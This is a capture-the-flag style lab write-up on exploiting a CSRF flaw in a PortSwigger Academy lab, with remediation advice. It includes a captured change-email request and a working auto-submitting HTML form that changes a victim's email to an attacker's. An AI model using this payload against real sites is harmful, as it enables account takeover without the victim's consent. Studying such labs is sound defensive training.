

CSRF — No Defenses

Lab

PortSwigger Web Security Academy — CSRF vulnerability with no defenses

Vulnerability

Cross-Site Request Forgery (CSRF)

Severity

Medium

Description

The application does not implement any effective CSRF protection for a state-changing action.

An attacker can create a malicious webpage that submits a forged request to the vulnerable application. If an authenticated victim visits the attacker's page, the victim's browser automatically sends their authentication cookies with the request.

The application therefore processes the forged request as an authenticated action performed by the victim.

Lab Objective

The objective of this lab is to exploit the absence of CSRF defenses and force an authenticated victim to perform an unintended state-changing action.

Setup

- Platform: PortSwigger Web Security Academy
- Vulnerability: CSRF
- Tool: Burp Suite
- Browser: Burp-compatible browser
- Authentication: Authenticated victim session

Exploitation Steps

1. Log in to the application

Authenticate to the vulnerable application and access the functionality that modifies account information.

2. Capture the request

Use Burp Suite Proxy to intercept the state-changing request.

The request does not contain an effective CSRF token or another mechanism that prevents cross-origin requests.

Example:

```
POST /my-account/change-email HTTP/1.1
Host: vulnerable-application
Cookie: session=USER_SESSION
```

```
email=attacker@example.com
```

3. Analyze the request

The request changes sensitive account information but does not require a CSRF token.

Because authentication is based on the session cookie, the browser automatically includes the cookie when the request is submitted.

4. Create a malicious HTML page

An attacker can create a page containing an automatically submitted form.

Example:

```
<html>
<body>
  <form action="https://TARGET/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@example.com">
  </form>

  <script>
    document.forms[0].submit();
  </script>
```

```
</body>  
</html>
```

5. Deliver the malicious page

The attacker needs the authenticated victim to visit the malicious page.

When the page loads, the form is automatically submitted to the vulnerable application.

6. Verify exploitation

If the application accepts the request and changes the victim's account information, the CSRF attack is successful.

Impact

A successful CSRF attack allows an attacker to make an authenticated victim perform actions without their knowledge or consent.

Depending on the affected functionality, possible consequences include:

- Unauthorized account changes
- Email address modification
- Password or security-setting changes
- Unauthorized transactions
- Changes to application data
- Other privileged actions available to the victim

Root Cause

The application does not implement an effective CSRF defense for the vulnerable state-changing request.

The server accepts the request based solely on the victim's authenticated session.

OWASP Mapping

OWASP Top 10: A01 — Broken Access Control

The attack abuses the victim's authenticated privileges to perform an unauthorized action.

CWE-352 — Cross-Site Request Forgery (CSRF)

Remediation

1. Implement anti-CSRF tokens for all state-changing requests.
2. Generate unpredictable, user/session-bound tokens.
3. Validate the token server-side before processing the request.
4. Use `SameSite=Lax` or `SameSite=Strict` cookies where appropriate.
5. Consider validating `Origin` and/or `Referer` headers as defense-in-depth.
6. Avoid relying solely on cookies for authorization of sensitive state-changing operations.
7. Require additional user interaction or re-authentication for highly sensitive actions.

Conclusion

The application is vulnerable to CSRF because it accepts state-changing requests without verifying that they originated from the legitimate application interface.

An attacker can exploit this weakness by hosting a malicious webpage that automatically submits a forged request while the victim is authenticated.

Implementing robust server-side CSRF-token validation, combined with appropriate cookie and origin protections, can prevent this attack.

Tools Used

- Burp Suite
- Web Browser
- PortSwigger Web Security Academy